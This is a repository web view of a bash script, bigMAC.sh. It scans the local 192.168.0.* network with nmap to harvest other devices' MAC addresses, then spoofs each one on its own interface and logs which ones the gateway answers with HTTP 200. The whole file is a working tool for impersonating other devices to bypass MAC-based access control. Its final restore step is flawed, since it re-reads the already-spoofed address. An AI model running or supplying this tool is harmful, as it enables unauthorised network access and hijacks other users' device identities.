summaryrefslogtreecommitdiff
path: root/bigMAC.sh
blob: 627d45ce8c71698be66b9354889b905c48031589 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/bash

# check for deps
deps=("nmap" "grep" "awk")
for dep in "${deps[@]}"; do
    if ! which "$dep" &> /dev/null; then
        echo "ERROR: The dependency '$dep' is not installed"
        exit
    fi
done

macs_file="macs.txt"
succ_file="tasty-macs.txt"

interface=$(ip route get 8.8.8.8 | awk '{print $5}') # usually wlp2s0

timeperiod=$((20)) # timeperiod=$((60 * 60 * 3))

function log {
    printf "\033[0;33m%s\033[0m $1" "$(date '+%b %d %T')"
}

function get_macs {
    while true; do n=0
       while read -r addr; do
           if ! grep -qF -- "$addr" "$macs_file" &> /dev/null; then
               echo "$addr" >> "$macs_file"
               n=$((n+1))
           fi
       done <<< $(nmap -sn 192.168.0.* | awk '/^MAC Address:/{print $3}')

       ((n > 0)) && log "Wrote $n new addresses to $macs_file\n" || true
    done
}

function set_ip_address {
    ip link set dev "$interface" down
    ip link set dev "$interface" address "$1"
    ip link set dev "$interface" up
    sleep 2
}

function taste_macs {
    while read -r addr; do
        set_ip_address "$addr"
        response=$(curl -s -o /dev/null -w "%{http_code}" --connect-timeout 5 192.168.0.1)
        if [[ "$response" == "200" ]]; then
            if ! grep -qF -- "$addr" "$succ_file" &> /dev/null; then
                echo "$addr" >> "$succ_file"
                log "Wrote '$addr' to $succ_file"
            fi
        fi
    done < "$macs_file"

    set_ip_address "$(ip link show "$interface" | awk '/link\/ether/{print $6}')"
}

while true; do
    get_macs & sleep "$timeperiod"; kill $!
    taste_macs
done